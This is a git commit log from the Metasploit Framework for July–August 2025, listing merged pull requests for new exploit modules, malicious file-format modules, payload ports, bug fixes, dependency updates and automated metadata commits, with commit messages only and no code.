jenkins-metasploit b59fd1c61a automatic module_metadata_base.json update 2025-08-13 10:07:02 +00:00
Diego Ledda eb003f704d Merge pull request #20386 from xHector1337/payload/windows/x64/download_exec
Port payload/windows/download_exec to x64
2025-08-13 11:58:22 +02:00
jenkins-metasploit 7ca82b47fb automatic module_metadata_base.json update 2025-08-12 19:37:04 +00:00
jheysel-r7 8251d89e92 Merge pull request #20400 from msutovsky-r7/exploit/pivotx-rce
Adds module for PivotX RCE (CVE-2025-52367)
2025-08-12 12:28:28 -07:00
Jack Heysel 0273f1474f Added incorrect creds check 2025-08-12 10:42:46 -07:00
jenkins-metasploit 3e882a3767 automatic module_metadata_base.json update 2025-08-12 16:30:43 +00:00
jheysel-r7 e59a24823b Merge pull request #20387 from h00die-gr3y/wazuh-auth-rce
Wazuh Server authenticated RCE [CVE-2025-24016]
2025-08-12 09:22:22 -07:00
jheysel-r7 4200f51fdf Merge pull request #20445 from zeroSteiner/feat/lib/ldap-adds/2
Don't look up the local system SID
2025-08-12 07:59:10 -07:00
jenkins-metasploit e1407833c2 automatic module_metadata_base.json update 2025-08-12 10:34:11 +00:00
cgranleese-r7 ec7d47c271 Merge pull request #20461 from adfoster-r7/improve-login-summary-for-ldap-scanner
Improve login summary for ldap schannel scanner
2025-08-12 11:25:50 +01:00
Diego Ledda 3122426ebe Update modules/payloads/singles/windows/x64/download_exec.rb
update cache size
2025-08-12 11:39:44 +02:00
Umut abe932cdee Update payloads_spec.rb 2025-08-12 12:34:47 +03:00
Diego Ledda b6d9172d5b chore(rubocop): remove extra white-space 2025-08-12 11:05:21 +02:00
dwelch-r7 9dee394cab Merge pull request #20463 from adfoster-r7/update-display-module-action-wording
Update display module action wording
2025-08-11 17:50:09 +01:00
dwelch-r7 003870e295 Merge pull request #20462 from adfoster-r7/fix-error-in-kerberos-authenticator
Fix logging error in kerberos authenticator
2025-08-11 17:49:31 +01:00
adfoster-r7 7c3ba83dd4 Update display module action wording 2025-08-11 17:02:35 +01:00
adfoster-r7 332a55cb4f Fix error in kerberos authenticator 2025-08-11 16:48:37 +01:00
adfoster-r7 a1630c0b81 Improve login summary for ldap schannel scanner 2025-08-11 16:47:02 +01:00
jenkins-metasploit 3817ed2e70 automatic module_metadata_base.json update 2025-08-11 15:02:00 +00:00
adfoster-r7 2734daec0f Merge pull request #20459 from adfoster-r7/consolidate-pkcs12-cert-file-reads
Consolidate pkcs12 cert file reads
2025-08-11 15:53:38 +01:00
Martin Sutovsky 94bd9eea98 Removes leftover includes 2025-08-11 16:29:16 +02:00
Martin Sutovsky fbd1c1767f Finish documentation, adds description and notes 2025-08-11 16:25:56 +02:00
adfoster-r7 ced20bf15a Consolidate pkcs12 cert file reads 2025-08-11 14:28:47 +01:00
cgranleese-r7 d25fd0825c Merge pull request #20458 from adfoster-r7/fix-rendering-issue-on-kerberos-docs
Fix rendering issue on kerberos docs
2025-08-11 13:10:59 +01:00
Umut af0fe9e5cc run rubocop -A 2025-08-11 14:22:28 +03:00
adfoster-r7 093d9f9a99 Fix rendering issue on kerberos docs 2025-08-11 12:13:53 +01:00
msutovsky-r7 b23775124b Land #20451, adds support for lwp-request GET fetch adapter
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
2025-08-11 12:54:41 +02:00
Martin Sutovsky d219efc0ac Adds documentation, adds check method 2025-08-11 12:25:33 +02:00
Metasploit b8dad8d85f Bump version of framework to 6.4.80 2025-08-08 10:16:11 -05:00
Martin Sutovsky 936e68eb2e Module init 2025-08-08 07:53:56 +02:00
Chocapikk baacd6f2bf Update CVE-ID in documentation 2025-08-07 21:54:38 +02:00
Chocapikk ff4ede95cc Remove useless headers 2025-08-07 21:53:14 +02:00
Chocapikk 87eb063460 Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152) 2025-08-07 18:34:49 +02:00
jenkins-metasploit 5e6d442860 automatic module_metadata_base.json update 2025-08-07 13:46:28 +00:00
msutovsky-r7 e8b441a5d3 Land #20012, MeterpreterOptions break-up and default extension loading removal
MeterpreterOptions break-up and default extension loading removal
2025-08-07 15:28:56 +02:00
jenkins-metasploit 6a26428029 automatic module_metadata_base.json update 2025-08-07 06:46:55 +00:00
msutovsky-r7 9caa2be9a2 Land #20399, adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
Pandora ITSM auth RCE [CVE-2025-4653]
2025-08-07 08:37:45 +02:00
Martin Sutovsky 89d70fe2f8 Clarify build instructions 2025-08-07 08:05:54 +02:00
Martin Sutovsky 8c43583e87 Removes debugging imports 2025-08-07 07:35:17 +02:00
Martin Sutovsky 02c81c57e9 Removes redundant comment 2025-08-07 07:35:17 +02:00
Martin Sutovsky febb52ea3f Fixing mkdir issue 2025-08-07 07:35:17 +02:00
Martin Sutovsky 162f73942c Specifies version in documentation 2025-08-07 07:35:16 +02:00
Martin Sutovsky e1b8453764 Removing redundant include 2025-08-07 07:35:16 +02:00
Martin Sutovsky c5c51fe577 Updates comments 2025-08-07 07:35:15 +02:00
Martin Sutovsky 547a0bb7f4 Adds sudo version check using existing functionality 2025-08-07 07:35:15 +02:00
Martin Sutovsky 0a9dda06fb Addressing comments 2025-08-07 07:35:15 +02:00
Martin Sutovsky b1acfc1b97 Addressing comments 2025-08-07 07:35:14 +02:00
Martin Sutovsky caab87096e Addressing comments, updating docs 2025-08-07 07:35:14 +02:00
Martin Sutovsky 5207f97da1 Addressing comments 2025-08-07 07:35:13 +02:00
Martin Sutovsky c6e695f5c2 Fixing notes 2025-08-07 07:35:13 +02:00
Martin Sutovsky cf0f35c8e0 Updating docs 2025-08-07 07:35:13 +02:00
Martin Sutovsky d8f0f5a0fe Adding check method, base for documentation 2025-08-07 07:35:12 +02:00
Martin Sutovsky 4c6bfdcfad Inits module 2025-08-07 07:35:12 +02:00
jenkins-metasploit 41698afa32 automatic module_metadata_base.json update 2025-08-06 19:33:05 +00:00
Brendan b6dc0860e7 Merge pull request #20409 from sfewer-r7/sharepoint-hax
Exploit module for Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
2025-08-06 14:24:28 -05:00
sfewer-r7 0a923a611d reword the language around our usage of CVE-2025-53770 to make it clear that this module is leveraging the authentication bypass for both CVE-2025-49706 and CVE-2025-53771, and the unsafe deserialization for CVE-2025-49704. 2025-08-06 15:33:57 +01:00
adfoster-r7 00ea22600c Merge pull request #20454 from adfoster-r7/fix-show-options-crash
Fix show options crash
2025-08-06 11:50:09 +01:00
adfoster-r7 c5e342d874 Fix show options crash 2025-08-06 10:26:56 +01:00
h00die-gr3y 70f2cbe055 simplified cleaning procedure 2025-08-06 08:22:06 +00:00
Brendan 2553fed202 Merge pull request #20438 from msutovsky-r7/fix/lib/chmod_in_compile
Fixes incorrect path parameter for `chmod` in `upload_and_compile`
2025-08-05 15:12:46 -05:00
cgranleese-r7 f8acc93fdd Merge pull request #20452 from adfoster-r7/update-download-versions
Update download versions
2025-08-05 17:41:40 +01:00
adfoster-r7 9a9028e93d Update download versions 2025-08-05 17:06:21 +01:00
jenkins-metasploit 74c10a4d4b automatic module_metadata_base.json update 2025-08-05 13:48:03 +00:00
msutovsky-r7 8914520139 Land #20418, adds auto selection feature for password crackers
Adds auto selection of cracker for password crackers
2025-08-05 15:39:50 +02:00
Spencer McIntyre 6f97dbe239 Merge pull request #20372 from cgranleese-r7/add-cache-validation-logic
Adds cache invalidation logic
2025-08-05 09:36:27 -04:00
bcoles d0f0b3532f Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter 2025-08-05 22:54:09 +10:00
cgranleese-r7 604fc95bc6 Moves checksum to top level of file cache 2025-08-05 11:40:20 +01:00
cgranleese-r7 aab4142068 Updates to only use local store dir 2025-08-05 11:39:18 +01:00
cgranleese-r7 e9941fd91f Adds cache invalidation logic 2025-08-05 11:39:18 +01:00
jenkins-metasploit 31b9dcdeb2 automatic module_metadata_base.json update 2025-08-05 07:39:11 +00:00
msutovsky-r7 c99702c8bf Land #20446, adds module for ICTBroadcast Unauthenticated RCE (CVE-2025-2611)
Add ICTBroadcast Unauthenticated Remote Code Execution (CVE-2025-2611)
2025-08-05 09:29:36 +02:00
Spencer McIntyre 26bf49a024 Merge pull request #20431 from Wopseeion/problem-fi
Fix NoMethodError in kerberos/get_ticket by properly decoding ASN.1 OctetString in certificate SAN parsing for ticket reuqest --> "#20427"
2025-08-04 18:12:05 -04:00
Tanush-Jain becdda1591 added fixed pkinit file 2025-08-04 17:51:36 -04:00
jenkins-metasploit cf92cbb3d8 automatic module_metadata_base.json update 2025-08-04 21:36:56 +00:00
Spencer McIntyre 30c32d2643 Merge pull request #20450 from dledda-r7/chore/bump-metasploit_payloads-mettle-1_0_45
Bump metasploit_payloads-mettle gem to 1.0.45
2025-08-04 17:28:14 -04:00
jacob.w.pham.mil 0744c70c72 Implement maintainer feedback removed by accident from prior push
- Update Twitter references to X in Contact.md and README.md
- Add YouTube channel to Contact.md
- Remove IRC reference from CONTRIBUTING.md as requested
- Address all maintainer suggestions from PR review
2025-08-04 14:50:58 -04:00
jacob.w.pham.mil c2da23ae1a Update contact email in Contact.md
Replace outdated caitlin_condon@rapid7.com with smcintyre@metasploit.com
as requested by maintainers in PR feedback.
2025-08-04 14:38:59 -04:00
Hakil c4a2189614 removed blank line as requested
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:29:25 +02:00
Hakil f691d81899 prefer john over hashcat for more compatibility
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:27:54 +02:00
Chocapikk 6ff04da954 Add LPE suggestions in documentation 2025-08-04 18:33:28 +02:00
Chocapikk a81884fb9e Update metadata 2025-08-04 17:53:29 +02:00
Chocapikk 7d744c2a45 Update documentation 2025-08-04 17:51:42 +02:00
Chocapikk 2c9053c45e Refactor fingerprint detection, cookie handling and per-cookie injection
- Centralize JS fingerprint checks in `check`
- Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar`
- Update `inject_command` to test payload on each cookie separately
2025-08-04 17:49:34 +02:00
Valentin Lobstein 26099da7a2 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:03:04 +02:00
Valentin Lobstein 46b3012cda Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:47 +02:00
Valentin Lobstein a6d86fbe59 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:35 +02:00
Valentin Lobstein c8f756dd37 Update documentation/modules/exploit/linux/http/ictbroadcast_unauth_cookie.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:12 +02:00
dledda-r7 6d60db195b feat: bump metasploit_payloads-mettle gem to 1.0.45 2025-08-04 10:14:38 -04:00
adfoster-r7 a5b7c9859d Merge pull request #20448 from cgranleese-r7/bump-rex-powershell-and-rex-random-identifier
Bumps rex-powershell and rex-random_identifier gems
2025-08-04 14:55:16 +01:00
Diego Ledda 8985cd773d Update lib/msf/base/sessions/meterpreter_options/osx.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:20 +02:00
Diego Ledda 25e053804e Update lib/msf/base/sessions/meterpreter_options/php.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:09 +02:00
Diego Ledda ee05f88770 Update lib/msf/base/sessions/meterpreter_options/python.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:01 +02:00
Diego Ledda 56fc33f7f2 Update lib/msf/base/sessions/meterpreter_options/windows.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:50 +02:00
Diego Ledda d45193b7ac Update lib/msf/base/sessions/meterpreter_options/java.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:25 +02:00
Diego Ledda fa68bd8353 Update lib/msf/base/sessions/meterpreter_options/bsd.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:16 +02:00
Diego Ledda 2fac43c3ed Update lib/msf/base/sessions/meterpreter_options/apple_ios.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:59 +02:00
Diego Ledda 9e10d243b9 Update lib/msf/base/sessions/meterpreter_options/android.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:49 +02:00
Diego Ledda ef6e59dcc3 Update lib/msf/base/sessions/meterpreter_options/linux.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:40 +02:00
cgranleese-r7 02ff2ad000 Bumps rex-powershell and rex-random_identifier 2025-08-04 13:49:53 +01:00
dledda-r7 f18787e5c5 fix: addressing review comments 2025-08-04 08:35:23 -04:00
adfoster-r7 f7930a9977 Merge pull request #20444 from cgranleese-r7/adds-survey-banner-docs-site
Adds survey banner to the docs site
2025-08-04 12:20:01 +01:00
cgranleese-r7 5fe57c6804 Adds survey banner to the docs site 2025-08-04 12:19:22 +01:00
jenkins-metasploit 5dd2fef0a9 automatic module_metadata_base.json update 2025-08-04 09:57:20 +00:00
msutovsky-r7 5fd6184494 Land #20423, adds malicious XDG Desktop fileformat module
Add Malicious XDG Desktop File module
2025-08-04 11:44:02 +02:00
bcoles a7ab23d083 Add Malicious XDG Desktop File module 2025-08-04 19:23:02 +10:00
Diego Ledda da7ee9d9f8 Update modules/payloads/stages/php/meterpreter.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 11:19:57 +02:00
Chocapikk 50ef5edd90 Add Unauthenticated ICTBroadcast Remote Code Execution (CVE-2025-2611) 2025-08-02 19:46:14 +02:00
Hakil 3e47e4a08b Fixed "]}" -> "}]" 2025-08-02 14:18:28 +02:00
Spencer McIntyre 90b60c78ac Don't look up the local system SID 2025-08-01 17:37:29 -04:00
cgranleese-r7 4c94f9f94b Merge pull request #20443 from rapid7/revert-20435-adds-survey-banner-to-docs-site
Revert "Adds survey banner to the docs site"
2025-08-01 14:37:59 +01:00
adfoster-r7 8b4ea900cc Revert "Adds survey banner to the docs site" 2025-08-01 14:37:15 +01:00
msutovsky-r7 7d82ecb6b0 Land #20435, adds survey banner to the docs site
Adds survey banner to the docs site
2025-08-01 15:16:15 +02:00
jenkins-metasploit 480a81dddb automatic module_metadata_base.json update 2025-08-01 11:54:03 +00:00
Martin Sutovsky cb615899ee Updates specs 2025-08-01 13:51:25 +02:00
msutovsky-r7 63cd2cb93a Land #20437, fixes variable initialization in auxiliary/dos/http/apache_range_dos
Fixes variable initialization in auxiliary/dos/http/apache_range_dos
2025-08-01 13:45:39 +02:00
Martin Sutovsky 1c14a9756a Creates executable_path, uses that in chmod instead of path variable 2025-08-01 12:52:58 +02:00
Desiree05 8d3a35f332 Fixing issue #20436
The module did not initialize the variable uri
2025-08-01 10:48:54 +01:00
cgranleese-r7 53e2d138e8 Adds survey banner to the docs site 2025-08-01 10:31:31 +01:00
Martin Sutovsky ce1d0d1c27 Removes redundant code, unifies fail_with calling, adds advanced option for wait time 2025-08-01 10:51:52 +02:00
msutovsky-r7 8130316de9 Removes unnecessary new line
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-08-01 10:02:46 +02:00
Martin Sutovsky c9e0c7171b Adds cleanup method 2025-08-01 10:01:50 +02:00
Martin Sutovsky 744188fb88 Updates docs 2025-08-01 09:40:08 +02:00
Martin Sutovsky 2328b40df7 Unifies parenthesis in fail_with calling, whitespaces fixes, changing CheckCode::Unknown to CheckCode::Detected 2025-08-01 09:34:47 +02:00
adfoster-r7 569387c470 Merge pull request #20432 from cgranleese-r7/fixes-exploit-uuid-sessions-job-correlation
Fixes RPC `exploit_uuid` correlation for jobs and sessions
2025-07-31 16:59:49 +01:00
Martin Sutovsky d081d83aa6 Adds additional functionality for Pretalx 2025-07-31 14:53:49 +02:00
jenkins-metasploit 96532bd1e7 automatic module_metadata_base.json update 2025-07-31 11:09:18 +00:00
dwelch-r7 540e8b91d0 Merge pull request #20433 from msutovsky-r7/module/fix/disclosure_date
Fixes disclosure date in exploit/linux/http/pandora_fms_auth_netflow_rce.rb
2025-07-31 12:01:01 +01:00
Martin Sutovsky d2175c372f Fixes disclosure date 2025-07-31 12:58:28 +02:00
Martin Sutovsky 0d556253d3 Fix 2025-07-31 12:57:14 +02:00
cgranleese-r7 2cab34736c Fixes RPC exploit_uuid correlation for jobs and sessions 2025-07-31 09:41:32 +01:00
Metasploit e34397b8e5 Bump version of framework to 6.4.79 2025-07-31 03:33:24 -05:00
jenkins-metasploit 854a5bc01c automatic module_metadata_base.json update 2025-07-31 05:53:30 +00:00
msutovsky-r7 333b5278ac Land #20428, fixes available payload space in exploits/windows/misc/achat_bof
Fix achat_bof by increasing the available payload space
2025-07-31 07:42:32 +02:00
jacob.w.pham.mil 9013316dbd Update communication channels in documentation
- Add GitHub Discussions and Slack as primary support channels
- Update README.md with current communication options
- Update Contact.md with organized channel hierarchy
- Update CONTRIBUTING.md to include GitHub Discussions
- Maintain references to existing IRC and mailing list channels

Addresses #20234
2025-07-30 22:32:53 -04:00
jenkins-metasploit 53c3396821 automatic module_metadata_base.json update 2025-07-30 22:45:10 +00:00
Spencer McIntyre 8bbfaac13c Merge pull request #20189 from jheysel-r7/feat/mod/esc9-esc10-exploit
Add Exploit Support for ESC9, ESC10 & ESC16
2025-07-30 18:36:59 -04:00
Jack Heysel ff724d0b5c Deregister SMBUser 2025-07-30 15:28:56 -07:00
jenkins-metasploit f766f49d6a automatic module_metadata_base.json update 2025-07-30 22:11:51 +00:00
Jack Heysel de15d1e449 Minor doc update 2025-07-30 15:08:14 -07:00
Jack Heysel e88883c82b ESC9, ESC10 ESC16 exploit support 2025-07-30 15:08:14 -07:00
Spencer McIntyre 84e2e6be69 Merge pull request #20149 from jheysel-r7/esc9_esc10_cert_finder_update
ESC9, ESC10 and ESC16 detection for ldap_esc_vulnerable_cert_finder
2025-07-30 18:03:14 -04:00
h00die-gr3y 3d0cfd0dfc update module + documentation based on review comments 2025-07-30 20:24:56 +00:00
Spencer McIntyre 3fb2477fbf Increase payload space 2025-07-30 16:13:19 -04:00
Jack Heysel 13df676863 Update validate method fix failed test 2025-07-30 12:13:33 -07:00
Jack Heysel a1c95e64ba Fixed unnecesary merge conflict additions 2025-07-30 11:59:51 -07:00
Jack Heysel 8179de6cea ESC9 ESC10 and ESC16 detection 2025-07-30 11:46:57 -07:00
Martin Sutovsky 38096c6988 Adding Pretalx functionality, expanding auxiliary module 2025-07-30 15:42:34 +02:00
Hakil 1161954677 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:11:06 +02:00
Hakil 18b611f199 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:49 +02:00
Hakil dc787b1947 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:31 +02:00
Hakil e44f54fda0 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:03 +02:00
Hakil 2a70b78316 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:45 +02:00
Hakil 6ccc49523c correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:13 +02:00
h00die-gr3y 4b52708357 update module + documentation based on review comments 2025-07-30 11:39:20 +00:00
Hakil 6c9f8ef8c9 Merge pull request #1 from msutovsky-r7/collab/feat/auto_cracker_selection
Suggests additional changes for PR
2025-07-30 11:55:14 +02:00
adfoster-r7 1361e91fa1 Merge pull request #20426 from adfoster-r7/update-multiple-dependencies
Update multiple dependencies
2025-07-30 10:28:54 +01:00
adfoster-r7 5fc5c6691e Update multiple dependencies 2025-07-30 10:11:30 +01:00
Martin Sutovsky 16a5fa2881 Fixing typos 2025-07-30 07:23:50 +02:00
Martin Sutovsky 96ba71b47f Removes incorrect comment 2025-07-30 07:11:35 +02:00
Martin Sutovsky d20494d47f Removes puts 2025-07-30 07:10:22 +02:00
gardnerapp a0d03c0638 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:20:20 -04:00
gardnerapp 92d246da13 Update documentation/modules/exploit/multi/local/periodic_script_persistence.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:20:00 -04:00
gardnerapp a413e78689 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:19:28 -04:00
gardnerapp d87787df69 Update modules/exploits/multi/local/periodic_script_persistence.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 13:18:48 -04:00
Martin Sutovsky d3f6faa99d Adjust cracker modules 2025-07-29 17:07:03 +02:00
Martin Sutovsky cf243b5d5c Adds auto option support, updates crack_database.rb accordingly 2025-07-29 15:44:48 +02:00
Hakil f454954b0a requested change resolved, PR #20418 2025-07-29 14:22:02 +02:00
Hakil 9c03306100 requested change resolved, PR #20418 2025-07-29 14:21:46 +02:00
Hakil c38cc4444f Update crack_osx.rb 2025-07-29 14:21:20 +02:00
Hakil 99ac3691f6 requested change resolved, PR #20418 2025-07-29 14:21:00 +02:00
Hakil 424e4fbd48 Update crack_databases.rb 2025-07-29 14:20:34 +02:00
Hakil 87d7decdca requested change resolved, PR #20418 2025-07-29 14:20:09 +02:00
Hakil 4b4e7cc58b requested change resolved, PR #20418 2025-07-29 14:02:30 +02:00
jenkins-metasploit 552a791e37 automatic module_metadata_base.json update 2025-07-29 10:35:15 +00:00
msutovsky-r7 cb381ad542 Land #20421, adds more reliable check in get_nonce function for auxiliary/scanner/http/wp_ultimate_member_sorting_sqli
Fix `get_nonce` in `auxiliary/scanner/http/wp_ultimate_member_sorting_sqli`
2025-07-29 12:24:05 +02:00
Simon Janusz 0a531b48c5 Merge pull request #20422 from adfoster-r7/update-jsonrpc-dependencies
Update jsonrpc dependencies
2025-07-29 11:19:37 +01:00
Valentin Lobstein 541e8d6191 Update modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 11:36:48 +02:00
adfoster-r7 77f6110842 Update jsonrpc dependencies 2025-07-29 10:17:36 +01:00
Chocapikk e095c793c7 Fix get_nonce in auxiliary/scanner/http/wp_ultimate_member_sorting_sqli 2025-07-29 07:59:06 +02:00
Metasploit c2971d5307 Bump version of framework to 6.4.78 2025-07-28 10:22:00 -05:00
jenkins-metasploit 85aca3c380 automatic module_metadata_base.json update 2025-07-28 15:07:55 +00:00
adfoster-r7 eb8e7cec27 Merge pull request #20420 from dwelch-r7/rails-7.2-upgrade
Bump rails to 7.2
2025-07-28 15:59:31 +01:00
jenkins-metasploit e40da3a887 automatic module_metadata_base.json update 2025-07-28 12:08:06 +00:00
msutovsky-r7 f4622d802e Land #20406, adds malicious Windows Script Host VBScript fileformat module
Add Malicious Windows Script Host VBScript (.vbs) File module
2025-07-28 13:58:07 +02:00
msutovsky-r7 12340ef6b5 Land #20398, adds malicious Windows Script Host JScript fileformat module
Add Malicious Windows Script Host JScript (.js) File module
2025-07-28 13:51:26 +02:00
Dean Welch 0ce1617288 Bump rails to 7.2 2025-07-28 12:29:58 +01:00
Martin Sutovsky b276c50115 Making Pretalx functionality more robust 2025-07-28 10:53:24 +02:00
h00die dcde8d1580 adjust spaces and review comments for persistence lib 2025-07-27 19:07:39 -04:00
h00die 4ec8a0e356 fix linux user spec 2025-07-27 18:50:23 -04:00
adfoster-r7 5162a8d3b3 Merge pull request #20417 from fishBone000/typo
fix: Fix typo in reflective_pe_loader.rb
2025-07-27 18:02:04 +01:00
Martin Sutovsky d26589796a Updates docs, code refactor 2025-07-27 12:42:11 +02:00
Hakil ecfdec9678 Fix issue #20396 2025-07-26 18:36:14 +02:00
Hakil d48419160b Fix issue #20396 2025-07-26 18:35:47 +02:00
Hakil 06c17a6e77 Update crack_webapps.rb 2025-07-26 18:35:21 +02:00
Hakil d88c4bde88 Fix issue #20396 2025-07-26 18:34:54 +02:00
Hakil 5aee8d5d42 Fix issue #20396 2025-07-26 18:34:12 +02:00
Hakil bd3ce5f20e Fix issue #20396 2025-07-26 18:33:20 +02:00
Hakil 56f138c4a1 Fix issue #20396 2025-07-26 18:31:43 +02:00
Hakil 7450d728c1 Fix issue #20396 2025-07-26 18:26:29 +02:00
fishBone000 64905f866e fix: Fix typo in reflective_pe_loader.rb
Fix strange typo that makes the file non-ASCII
2025-07-26 15:55:03 +00:00
Vognik 8024900171 fix tests 2025-07-26 03:15:00 +04:00
Martin Sutovsky 4844a29a1f Documentation base 2025-07-25 20:19:47 +02:00
Martin Sutovsky 1a668a8964 Adding checks 2025-07-25 16:57:11 +02:00
sfewer-r7 3237151512 add in the documentation 2025-07-25 14:40:12 +01:00
Martin Sutovsky fa41ed5876 Code refactoring 2025-07-25 15:33:29 +02:00
Martin Sutovsky edfa84ed42 Uses Rex::MIME::Message instead of manual form-data 2025-07-25 14:24:42 +02:00
sfewer-r7 228a066521 add a reference to the Kaspersky analysis which covers all 4 CVEs 2025-07-25 12:26:55 +01:00
Martin Sutovsky 73aa43e069 Adds Rex::MIME::Message instead of manual form-data generating 2025-07-25 13:02:44 +02:00
sfewer-r7 36fff14466 fix a comment typo 2025-07-25 11:04:18 +01:00
sfewer-r7 f16f7bf2ad add in reference to teh LeakIX blog, which shows CVE-2025-53771 2025-07-25 11:02:55 +01:00
sfewer-r7 ae95d3d4e8 add a comment to clarify what CVE-2025-53771 is 2025-07-25 11:02:08 +01:00
sfewer-r7 8df7f64e79 add some comments to clarify what CVE-2025-49704 is 2025-07-25 11:01:41 +01:00
sfewer-r7 6d9d9a70d4 add some comments to clarify what CVE-2025-49706 is 2025-07-25 11:01:22 +01:00
jenkins-metasploit 86d5d52838 automatic module_metadata_base.json update 2025-07-25 08:55:33 +00:00
msutovsky-r7 1fb76b1776 Land #20408, fixes arguments passing to redis_command function in auxiliary/scanner/redis/redis_server
Fix modules\auxiliary\scanner\redis\redis_server
2025-07-25 10:47:14 +02:00
bcoles cbc03eaeeb Add Malicious Windows Script Host VBScript (.vbs) File module 2025-07-25 18:46:47 +10:00
bcoles 44c61a7e4d Add Malicious Windows Script Host JScript (.js) File module 2025-07-25 18:43:33 +10:00
Maksim Rogov 9696cc57db Merge branch 'rapid7:master' into CVE-2025-34300 2025-07-25 11:02:03 +04:00
Vognik 82eadede83 Code Review Edits from @sjanusz-r7 2025-07-25 05:17:48 +04:00
jenkins-metasploit fcff88b644 automatic module_metadata_base.json update 2025-07-24 21:58:39 +00:00
jheysel-r7 392f87dee2 Merge pull request #20401 from zeroSteiner/feat/mod/ldap/gmsa-secrets
Add gMSA Secret Extraction From LDAP
2025-07-24 14:50:24 -07:00
Metasploit 679c74f145 Bump version of framework to 6.4.77 2025-07-24 09:38:58 -05:00
adfoster-r7 237a315c7c Merge pull request #20415 from adfoster-r7/unpin-json-dependency
Unpin json dependency
2025-07-24 15:35:33 +01:00
adfoster-r7 485b458bac Unpin json dependency 2025-07-24 14:58:13 +01:00
laptop e4686fe129 deleted the spaces in EOF 2025-07-24 19:23:44 +08:00
sfewer-r7 a81710486e add in a reference to the new technical analysis from the origional finder 2025-07-24 12:15:24 +01:00
cgranleese-r7 75d02b5630 Merge pull request #20414 from adfoster-r7/pin-json-dependency
Pin json dependency
2025-07-24 12:06:24 +01:00
jenkins-metasploit 04b08fb545 automatic module_metadata_base.json update 2025-07-24 10:37:43 +00:00
msutovsky-r7 afeded56aa Land #20384, adds module for malicious Windows Registration Entries files
Add Malicious Windows Registration Entries (.reg) File module
2025-07-24 12:29:34 +02:00
Martin Sutovsky 54c86cfc10 Addressing comments 2025-07-24 12:19:47 +02:00
adfoster-r7 90346ad812 Pin json dependency 2025-07-24 11:11:59 +01:00
Maksim Rogov 6e5d474b21 Apply suggestion from @jheysel-r7 in Docs
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-07-24 06:23:01 +03:00
Vognik 38b0bd15e1 Code Review Edits 2025-07-24 07:19:25 +04:00
Stephen Fewer 899e275155 Make the double quotes optional, reports of Server 2016 not using these, but Server 2019 is. Thanks @w0rk3r for the bug report and fix.
Co-authored-by: Jonhnathan <26856693+w0rk3r@users.noreply.github.com>
2025-07-23 23:51:42 +01:00
sfewer-r7 b8cf458706 the check routine was getting the /_layouts/15/error.aspx page, this will not be accessable unless Forms Based Authentication (FBA) is enabled on the site. A better choice is /_layouts/15/start.aspx as this is accessible regardless of FBA being enabled. Thanks @alexey-at-work-bc for identifying this and sugesting a fix. 2025-07-23 23:03:43 +01:00
jheysel-r7 9a46ce6628 Merge pull request #20403 from adfoster-r7/dependency-update
Dependency update
2025-07-23 13:18:31 -07:00
adfoster-r7 9b330018ad Dependency update 2025-07-23 20:55:09 +01:00
sfewer-r7 7838e06f4f reimplement the gadget chain using the Metasploit Msf::Util::DotNetDeserialization routines 2025-07-23 17:36:56 +01:00
sfewer-r7 d2a1f7bae9 add in exploit for CVE-2025-53770 and CVE-2025-53771, Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell) 2025-07-23 12:40:14 +01:00
Vognik e93755adc6 Added WritableDir Option 2025-07-23 11:59:48 +04:00
